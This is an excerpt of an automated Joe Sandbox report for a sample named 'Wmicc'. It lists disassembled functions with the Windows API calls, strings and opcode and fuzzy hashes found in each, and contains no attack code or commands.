Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: FileModuleNamelstrcatlstrcpylstrlen
String ID: .HLP$.INI
API String ID: 2421895198-3011182340
Opcode ID: 03738d76172f27e228b1366dab93e80502e44cd17cf5b6692d9b55a9fe038809
Instruction ID: 5a6b8716a5e2dc335e0f35e10a9e80f0243409237ffd4dba8055a1a9e6eb76ad
Opcode Fuzzy Hash: 03738d76172f27e228b1366dab93e80502e44cd17cf5b6692d9b55a9fe038809
Instruction Fuzzy Hash: 33316FB6844718AFDB21EBB1CC85BC6B7FCAB04314F10496BE199D3191DB78A9C4CB58

Function 0041ADD3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AF4B: GetParent.USER32(?), ref: 0041AF7E
Part of subcall function 0041AF4B: GetLastActivePopup.USER32(?), ref: 0041AF8D
Part of subcall function 0041AF4B: IsWindowEnabled.USER32(?), ref: 0041AFA2
Part of subcall function 0041AF4B: EnableWindow.USER32(?,00000000), ref: 0041AFB5

SendMessageA.USER32(?,00000376,00000000,00000000), ref: 0041AE09
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,00000000), ref: 0041AE77
MessageBoxA.USER32(00000000,?,?,00000000), ref: 0041AE85
EnableWindow.USER32(00000000,00000001), ref: 0041AEA1

Strings

gA, xrefs: 0041ADD3

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Window$EnableMessage$ActiveEnabledFileLastModuleNameParentPopupSend
String ID: gA
API String ID: 1958756768-3478526202
Opcode ID: 38f2c9e080b3d620969e0ebb7ed70c0f43d4202c5e88df99d7deeb900d43a7fe
Instruction ID: 70ee67fc4e5b281ceca48016eef29fee414e98b3ed957fe2acd03f66b08495c0
Opcode Fuzzy Hash: 38f2c9e080b3d620969e0ebb7ed70c0f43d4202c5e88df99d7deeb900d43a7fe
Instruction Fuzzy Hash: C021BF76A41308AFDB209FA5CCC5BEEB7B9EB44700F14442AE615E3240C7799DA08B66

Function 004198AC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 004198ED
GetDlgItem.USER32(?,00000002), ref: 0041990C
IsWindowEnabled.USER32(00000000), ref: 00419917
SendMessageA.USER32(?,00000111,00000002,00000000), ref: 0041992D

Strings

Edit, xrefs: 004198F7

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Window$EnabledItemLongMessageSend
String ID: Edit
API String ID: 3499652902-554135844
Opcode ID: 7fb311ab2d0463f5234c118937df40d93a08f894b710991ec98a6b639d764318
Instruction ID: bc9c5a5688b1af5ca7d47823606939e7572b221110d8cba545cfd953c44c1971
Opcode Fuzzy Hash: 7fb311ab2d0463f5234c118937df40d93a08f894b710991ec98a6b639d764318
Instruction Fuzzy Hash: 9501A1743502017AEA211A22CD19BDBA7649B51715F14482FF811D63F1CB69DCD1C65E

Function 00407660 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00407669
HeapReAlloc.KERNEL32(00690000,00000000,?,?), ref: 00407686
HeapAlloc.KERNEL32(00690000,00000008,?), ref: 00407696
MessageBoxA.USER32(00000000,00562A88,error,00000010), ref: 004076AF

Strings

error, xrefs: 004076A4

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Heap$Alloc$MessageProcess
String ID: error
API String ID: 2690588855-1574812785
Opcode ID: f3bd89ec3e1881bd650c13f5ab0993c7029a15e58ec9c26efb7af7bf1f026fa4
Instruction ID: 98cfbebad7ee7a6066b2f70a6b9ad92e63404d9bb19535aeac1a327abc7ab6a9
Opcode Fuzzy Hash: f3bd89ec3e1881bd650c13f5ab0993c7029a15e58ec9c26efb7af7bf1f026fa4
Instruction Fuzzy Hash: 68F050B4A446017FD6248765EC09F573758AB54710F00C538FC43E3280DAF5FC008B6A

Function 00403C14 Relevance: 7.9, APIs: 5, Instructions: 433processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00403C7F
Process32First.KERNEL32(000000FF,00000000), ref: 00403D5C
CloseHandle.KERNEL32(000000FF), ref: 00403ED8
Process32Next.KERNEL32(000000FF,00000000), ref: 00403FA2
CloseHandle.KERNEL32(000000FF,?,?,?,?,?,?,?,00403B9C), ref: 0040408C

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 99103299303ef840ce817cad71266f759f1b33b63f6f71674e5062233df948b8
Instruction ID: 226b3054c1e19c5298fd23ca5dfa55b47b17b4550e2a5eb8805b9c70c2901c89
Opcode Fuzzy Hash: 99103299303ef840ce817cad71266f759f1b33b63f6f71674e5062233df948b8
Instruction Fuzzy Hash: E6E15EF1A412429BFB00CF58DCC1B9AB7B5EF59324F280475EA06AB381D378B951DB52

Function 0040EDBF Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 0040EE1D
GetFileType.KERNEL32(?,?,00000000), ref: 0040EEC8
GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 0040EF2B
GetFileType.KERNEL32(00000000,?,00000000), ref: 0040EF39
SetHandleCount.KERNEL32 ref: 0040EF70

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 179baa45eeb4347d804dd2dd2a1781e880097e28a29cc10bc38543cdd0e94111
Instruction ID: 3c10f627ef873255327b4e911bb1a1a1a8760edb6223d53b76ff5c0e80aca535
Opcode Fuzzy Hash: 179baa45eeb4347d804dd2dd2a1781e880097e28a29cc10bc38543cdd0e94111
Instruction Fuzzy Hash: 08514C315042158FC720CF29D88876A7BE1EF11328F288A7ED559AB3D1DB38D859E745

Function 00404CF1 Relevance: 7.6, APIs: 5, Instructions: 86threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00404D14
GetWindowThreadProcessId.USER32(00000000,?), ref: 00404D4F
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004031F6), ref: 00404D86
SetActiveWindow.USER32(00000000,?,?,004031F6), ref: 00404DB2
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004031F6), ref: 00404DE9

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Thread$AttachInputWindow$ActiveCurrentProcess
String ID:
API String ID: 1014419786-0
Opcode ID: dee204a24438f45f33d5d957b34b7cdd5a9faad98f041de65f70bc5b8b451572
Instruction ID: 801359c619419f25eff40159c77f626967a5ec20ed2f2332026e1e7aa21db4b9
Opcode Fuzzy Hash: dee204a24438f45f33d5d957b34b7cdd5a9faad98f041de65f70bc5b8b451572
Instruction Fuzzy Hash: 5F311EB4D41309ABEB109FA1DC46BEEBBB4BB19701F004576FA047A190E3B65610DBDA

Function 004179BC Relevance: 7.6, APIs: 5, Instructions: 52stringregistryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004179C1
GetClassInfoA.USER32(?,?,?), ref: 004179DC
RegisterClassA.USER32(00000004), ref: 004179E7
lstrcatA.KERNEL32(00000034,?,00000001), ref: 00417A1E
lstrcatA.KERNEL32(00000034,?), ref: 00417A2C

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Classlstrcat$H_prologInfoRegister
String ID:
API String ID: 106226465-0
Opcode ID: 2bda2131dfa29aa980e00ef461ef612f435f8f6425e806b91c92498df8f49ac9
Instruction ID: 410e3571dd65b983c8c14ac6f099c7edac435efddb21800abafe95d69e2108a8
Opcode Fuzzy Hash: 2bda2131dfa29aa980e00ef461ef612f435f8f6425e806b91c92498df8f49ac9
Instruction Fuzzy Hash: 71114476944314BFCB00AFB58C41ADE7FB8EF04304F00852BF812A3291C37896848BA9

Function 00408A40 Relevance: 7.5, APIs: 5, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00408A5A
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00408A84
TranslateMessage.USER32(?), ref: 00408A8B
DispatchMessageA.USER32(?), ref: 00408A92
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 00408AA1

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: ed7aff2f60006ba3a6ad120ed6011d67fd9200193d15a4962846f9afbe3c8597
Instruction ID: 4e605ed4985af78b67e990312c446beab6fa6b6ca288ca0ab222137010ba0408
Opcode Fuzzy Hash: ed7aff2f60006ba3a6ad120ed6011d67fd9200193d15a4962846f9afbe3c8597
Instruction Fuzzy Hash: D50181763403057AE220DB55AC42FA7775CAB84B50F50486AFB40AB1D0DAB8F908CA6D

Function 0040EFE2 Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000103,7FFFFFFF,0040E45C,0040E769,00000000,?,?,00000000,00000001), ref: 0040EFE4
TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 0040EFF2
SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 0040F03E

Part of subcall function 00413160: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,0040F007,00000001,00000074,?,?,00000000,00000001), ref: 00413256

TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 0040F016
GetCurrentThreadId.KERNEL32 ref: 0040F027

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: 6b3d04e213cecf01fba31d3913a51660008722045451e01fd7191e3ef283d230
Instruction ID: d075351a6a3bdaecd4468b7f54474600ad25e7ed6722d1bacaa8f74532f49b93
Opcode Fuzzy Hash: 6b3d04e213cecf01fba31d3913a51660008722045451e01fd7191e3ef283d230
Instruction Fuzzy Hash: 82F02B366012236BC3352B36BC0D9AA3BA4DF147B1B14463AFD41A62E1DF78C84696D9

Function 0041C61F Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005777E0,?,00000000,?,?,0041BD0B,00000010,?,00000000,?,?,?,0041C0B0,0041C0FD,0041B474,0041C0B6), ref: 0041C65A
InitializeCriticalSection.KERNEL32(00000000,?,00000000,?,?,0041BD0B,00000010,?,00000000,?,?,?,0041C0B0,0041C0FD,0041B474,0041C0B6), ref: 0041C66C
LeaveCriticalSection.KERNEL32(005777E0,?,00000000,?,?,0041BD0B,00000010,?,00000000,?,?,?,0041C0B0,0041C0FD,0041B474,0041C0B6), ref: 0041C675
EnterCriticalSection.KERNEL32(00000000,00000000,?,?,0041BD0B,00000010,?,00000000,?,?,?,0041C0B0,0041C0FD,0041B474,0041C0B6,004158ED), ref: 0041C687

Part of subcall function 0041C58C: GetVersion.KERNEL32(?,0041C62F,?,0041BD0B,00000010,?,00000000,?,?,?,0041C0B0,0041C0FD,0041B474,0041C0B6,004158ED,0041A4CB), ref: 0041C59F

Strings

wW, xrefs: 0041C654

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter$InitializeLeaveVersion
String ID: wW
API String ID: 1193629340-1900068858
Opcode ID: 9fa6a76dfe1ce66cd7678ab47e653f30fc9a7a7d10aa5f0fb455bbc95fb891bb
Instruction ID: d4daee6f349c148125e1d00926af346bf3cb5c6482a8e3ca50e06c0af65b7354
Opcode Fuzzy Hash: 9fa6a76dfe1ce66cd7678ab47e653f30fc9a7a7d10aa5f0fb455bbc95fb891bb
Instruction Fuzzy Hash: 0DF081B504521EDFC7109F65FCC8992B3ACF768305B005436D61992021D734B48AEE58

Function 00410E50 Relevance: 7.5, APIs: 2, Strings: 3, Instructions: 27memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualFree.KERNEL32(000000FF,00000000,00008000,8V,00410F50,8V,00000000,00000000,00000000,00000000,?,00411002,00000010,0040C31A,00000000,?), ref: 00410E5F
HeapFree.KERNEL32(00000000,?,?,00411002,00000010,0040C31A,00000000,?), ref: 00410E95

Strings

8V, xrefs: 00410E65, 00410E70
8V, xrefs: 00410E75
8V, xrefs: 00410E50

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Free$HeapVirtual
String ID: 8V$8V$8V
API String ID: 3783212868-4269652141
Opcode ID: 1f657d58aad761c7d80d4edcc9e17d70332e606acfd1560b68042626946b365a
Instruction ID: d4caf98bd9172d7cdfa83cdcb995f7461ef1cdb2c8e8364b629e42e83a0f907f
Opcode Fuzzy Hash: 1f657d58aad761c7d80d4edcc9e17d70332e606acfd1560b68042626946b365a
Instruction Fuzzy Hash: 7BF03434241720EFC3249F08EC88B827BE1FB18720F21882DF4A6473A0C7B1AC84DB84

Function 00402EF9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 236windowCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,?,?,?,?,?,?,?,00401309,?,00000001,00000000,00000001,00000000), ref: 00402FB0
IsWindowVisible.USER32(00000000), ref: 00403194
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00401309,?,00000001,00000000,00000001), ref: 00403219

Strings

O"V, xrefs: 004030E9

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Event$CreateOpenVisibleWindow
String ID: O"V
API String ID: 3055581551-2705170702
Opcode ID: ae46e55be43d23cf4fd00c6bcfad819bc7dc1e2f8a58bc66683057bf7b74d6ba
Instruction ID: 82a32c33a03f33296ba94300cc6457d4c8b6ec60df37cceb6b47334c16cf30d2
Opcode Fuzzy Hash: ae46e55be43d23cf4fd00c6bcfad819bc7dc1e2f8a58bc66683057bf7b74d6ba
Instruction Fuzzy Hash: CF911EB4E40309BBEF219F91CC86F9E7BB4AB08704F204069FA047A2D1D7B96654DF59

Function 0041A315 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32 ref: 0041A331
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000020), ref: 0041A384
GlobalUnlock.KERNEL32(?), ref: 0041A41B

Strings

@, xrefs: 0041A36E

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Global$ByteCharLockMultiUnlockWide
String ID: @
API String ID: 231414890-2766056989
Opcode ID: 0a194aab7adec12be7364f6cebe051948c3fe77aa024bc9616be12a83db10da7
Instruction ID: 526ea42b8e022f98ca600234ecb5efb9393f420147bb75a2522a67ca492eeb68
Opcode Fuzzy Hash: 0a194aab7adec12be7364f6cebe051948c3fe77aa024bc9616be12a83db10da7
Instruction Fuzzy Hash: 5C41F932800209EFCB10DF95C881AEEBBB4FF00354F14C16AEC26AB244D3789996CB59

Function 0041B508 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetMenuCheckMarkDimensions.USER32 ref: 0041B514
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 0041B5C3
LoadBitmapA.USER32(00000000,00007FE3), ref: 0041B5DB

Strings

, xrefs: 0041B523

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
